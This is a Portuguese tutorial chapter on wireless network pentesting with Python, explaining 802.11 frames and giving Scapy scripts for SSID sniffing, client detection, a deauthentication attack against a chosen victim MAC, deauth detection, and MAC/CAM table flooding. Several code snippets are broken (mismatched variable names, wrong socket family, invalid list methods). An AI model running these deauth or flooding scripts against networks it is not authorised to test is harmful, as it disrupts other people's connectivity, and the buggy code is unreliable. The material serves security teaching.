Pentesting da rede sem fio
Os sistemas sem fio vêm com muita flexibilidade, mas, por outro lado, também levam a sérios problemas de segurança. E, como isso se torna um sério problema de segurança - porque os invasores, no caso de conectividade sem fio, precisam apenas ter a disponibilidade de sinal para atacar ao invés de ter o acesso físico como no caso de uma rede com fio. O teste de penetração dos sistemas sem fio é uma tarefa mais fácil do que fazer isso na rede com fio. Não podemos realmente aplicar boas medidas de segurança física contra um meio sem fio, se estivermos localizados perto o suficiente, poderíamos "ouvir" (ou pelo menos seu adaptador sem fio é capaz de ouvir) tudo que está fluindo pelo ar.
Pré-requisitos
Antes de começarmos a aprender mais sobre teste de rede sem fio, vamos considerar a discussão de terminologias e o processo de comunicação entre o cliente e o sistema sem fio.
Terminologias importantes
Vamos agora aprender as terminologias importantes relacionadas ao pentesting de rede sem fio.
Ponto de Acesso (AP)
Um ponto de acesso (AP) é o nó central nas implementações sem fio 802.11. Este ponto é usado para conectar usuários a outros usuários dentro da rede e também pode servir como ponto de interconexão entre LAN sem fio (WLAN) e uma rede fixa. Em uma WLAN, um AP é uma estação que transmite e recebe os dados.
Identificador de conjunto de serviço (SSID)
É uma string de texto legível por humanos de 0-32 bytes, que é basicamente o nome atribuído a uma rede sem fio. Todos os dispositivos da rede devem usar esse nome que diferencia maiúsculas de minúsculas para se comunicarem pela rede sem fio (Wi-Fi).
Identificação de conjunto de serviço básico (BSSID)
É o endereço MAC do chipset Wi-Fi em execução em um ponto de acesso sem fio (AP). Ele é gerado aleatoriamente.
Número do canal
Ele representa a faixa de freqüência de rádio usada pelo Ponto de Acesso (AP) para transmissão.
Comunicação entre o cliente e o sistema sem fio
Outra coisa importante que precisamos entender é o processo de comunicação entre o cliente e o sistema wireless. Com a ajuda do diagrama a seguir, podemos entender o mesmo -
The Beacon Frame
No processo de comunicação entre o cliente e o ponto de acesso, o AP envia periodicamente um quadro de beacon para mostrar sua presença. Este quadro vem com informações relacionadas ao SSID, BSSID e número do canal.
O pedido da Sonda
Agora, o dispositivo cliente enviará uma solicitação de teste para verificar os APs no intervalo. Depois de enviar a solicitação de teste, ele aguardará a resposta de teste do AP. A solicitação de investigação contém informações como SSID do AP, informações específicas do vendedor, etc.
A resposta da Sonda
Agora, depois de obter a solicitação de sondagem, o AP enviará uma resposta de sondagem, que contém informações como taxa de dados com suporte, capacidade etc.
O pedido de autenticação
Agora, o dispositivo cliente enviará um quadro de solicitação de autenticação contendo sua identidade.
A resposta de autenticação
Agora, em resposta, o AP enviará um quadro de resposta de autenticação indicando aceitação ou rejeição.
O pedido de associação
Quando a autenticação é bem-sucedida, o dispositivo cliente enviou um quadro de solicitação de associação contendo a taxa de dados suportada e SSID do AP.
A resposta da Associação
Agora, em resposta, o AP enviará um quadro de resposta de associação indicando aceitação ou rejeição. Um ID de associação do dispositivo cliente será criado em caso de aceitação.
Encontrar identificador de conjunto de serviços sem fio (SSID) usando Python
Podemos reunir as informações sobre SSID com a ajuda do método raw socket, bem como usando a biblioteca Scapy.
Método de soquete bruto
Nós já aprendemos isso mon0captura os pacotes sem fio; então, precisamos definir o modo de monitor paramon0. No Kali Linux, isso pode ser feito com a ajuda deairmon-ngroteiro. Depois de executar este script, ele dará um nome à placa wirelesswlan1. Agora, com a ajuda do seguinte comando, precisamos habilitar o modo monitor emmon0 -
airmon-ng start wlan1A seguir está o método de soquete bruto, script Python, que nos dará o SSID do AP -
Em primeiro lugar, precisamos importar os módulos de soquete da seguinte forma -
import socketAgora, vamos criar um socket que terá três parâmetros. O primeiro parâmetro nos informa sobre a interface do pacote (PF_PACKET para Linux específico e AF_INET para Windows), o segundo parâmetro nos diz se é um socket raw e o terceiro parâmetro nos diz que estamos interessados em todos os pacotes.
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))Agora, a próxima linha ligará o mon0 modo e 0x0003.
s.bind(("mon0", 0x0003))Agora, precisamos declarar uma lista vazia, que armazenará o SSID dos APs.
ap_list = []Agora, precisamos chamar o recvfrom()método para receber o pacote. Para que o farejamento continue, usaremos o loop infinito do while.
while True:
packet = s.recvfrom(2048)A próxima linha de código mostra se o quadro é de 8 bits, indicando o quadro beacon.
if packet[26] == "\x80" :
if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
ap_list.add(packetkt[36:42])
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))Sniffer SSID com Scapy
Scapy é uma das melhores bibliotecas que podem nos permitir farejar pacotes wi-fi facilmente. Você pode aprender Scapy em detalhes emhttps://scapy.readthedocs.io/en/latest/. Para começar, execute o Sacpy no modo interativo e use o comando conf para obter o valor de iface. A interface padrão é eth0. Agora, como temos a cúpula acima, precisamos alterar esse modo para mon0. Isso pode ser feito da seguinte forma -
>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3Vamos agora importar Scapy como uma biblioteca. Além disso, a execução do seguinte script Python nos dará o SSID -
from scapy.all import *Agora, precisamos declarar uma lista vazia que armazenará o SSID dos APs.
ap_list = []Agora vamos definir uma função chamada Packet_info(), que terá a lógica de análise de pacote completa. Ele terá o argumento pkt.
def Packet_info(pkt) :Na próxima instrução, vamos aplicar um filtro que passará apenas Dot11tráfego, o que significa tráfego 802.11. A linha a seguir também é um filtro, que passa o tráfego tendo o tipo de quadro 0 (representa o quadro de gerenciamento) e o subtipo de quadro é 8 (representa o quadro beacon).
if pkt.haslayer(Dot11) :
if ((pkt.type == 0) & (pkt.subtype == 8)) :
if pkt.addr2 not in ap_list :
ap_list.append(pkt.addr2)
print("SSID:", (pkt.addr2, pkt.info))Agora, a função sniff irá farejar os dados com iface valor mon0 (para pacotes sem fio) e invocar o Packet_info função.
sniff(iface = "mon0", prn = Packet_info)Para implementar os scripts Python acima, precisamos de uma placa Wi-Fi que seja capaz de farejar o ar usando o modo monitor.
Detectando clientes de ponto de acesso
Para detectar os clientes dos pontos de acesso, precisamos capturar o quadro de solicitação da sonda. Podemos fazer isso da mesma forma que fizemos no script Python para o farejador de SSID usando Scapy. Precisamos darDot11ProbeReqpara capturar o quadro de solicitação da sonda. A seguir está o script Python para detectar clientes de pontos de acesso -
from scapy.all import *
probe_list = []
ap_name= input(“Enter the name of access point”)
def Probe_info(pkt) :
if pkt.haslayer(Dot11ProbeReq) :
client_name = pkt.info
if client_name == ap_name :
if pkt.addr2 not in Probe_info:
Print(“New Probe request--”, client_name)
Print(“MAC is --”, pkt.addr2)
Probe_list.append(pkt.addr2)
sniff(iface = "mon0", prn = Probe_info)Ataques sem fio
Da perspectiva de um pentester, é muito importante entender como ocorre um ataque sem fio. Nesta seção, discutiremos dois tipos de ataques sem fio -
Os ataques de desautenticação (desautenticação)
O ataque de inundação MAC
Os ataques de desautenticação (desautenticação)
No processo de comunicação entre um dispositivo cliente e um ponto de acesso sempre que um cliente deseja se desconectar, ele precisa enviar o quadro de desautenticação. Em resposta a esse quadro do cliente, o AP também enviará um quadro de desautenticação. Um invasor pode tirar vantagem desse processo normal falsificando o endereço MAC da vítima e enviando o quadro de desautenticação para o AP. Devido a isso, a conexão entre o cliente e o AP é interrompida. A seguir está o script Python para realizar o ataque de desautenticação -
Vamos primeiro importar Scapy como uma biblioteca -
from scapy.all import *
import sysAs duas instruções a seguir irão inserir o endereço MAC do AP e da vítima, respectivamente.
BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")Agora, precisamos criar o quadro de desautenticação. Ele pode ser criado executando a seguinte instrução.
frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()A próxima linha de código representa o número total de pacotes enviados; aqui é 500 e o intervalo entre dois pacotes.
sendp(frame, iface = "mon0", count = 500, inter = .1)Resultado
Após a execução, o comando acima gera a seguinte saída -
Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)Isso é seguido pela criação do quadro de deauth, que é enviado ao ponto de acesso em nome do cliente. Isso fará com que a conexão entre eles seja cancelada.
A questão aqui é como detectamos o ataque desautorizado com o script Python. A execução do seguinte script Python ajudará na detecção de tais ataques -
from scapy.all import *
i = 1
def deauth_frame(pkt):
if pkt.haslayer(Dot11):
if ((pkt.type == 0) & (pkt.subtype == 12)):
global i
print ("Deauth frame detected: ", i)
i = i + 1
sniff(iface = "mon0", prn = deauth_frame)No script acima, a declaração pkt.subtype == 12 indica o quadro de deauth e a variável I que é definida globalmente informa sobre o número de pacotes.
Resultado
A execução do script acima gera a seguinte saída -
Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6Os ataques de inundação de endereço MAC
O ataque de inundação de endereço MAC (ataque de inundação de tabela CAM) é um tipo de ataque de rede em que um invasor conectado a uma porta de switch inunda a interface do switch com um grande número de quadros Ethernet com diferentes endereços MAC de origem falsos. Os estouros da tabela CAM ocorrem quando um influxo de endereços MAC é inundado na tabela e o limite da tabela CAM é alcançado. Isso faz com que o switch atue como um hub, inundando a rede com tráfego em todas as portas. Esses ataques são muito fáceis de iniciar. O seguinte script Python ajuda a lançar tal ataque de inundação CAM -
from scapy.all import *
def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list
def cam_overflow(packet_list):
sendp(packet_list, iface='wlan')
if __name__ == '__main__':
packet_list = generate_packets()
cam_overflow(packet_list)O principal objetivo desse tipo de ataque é verificar a segurança do switch. Precisamos usar a segurança da porta se quisermos diminuir o efeito do ataque de inundação de MAC.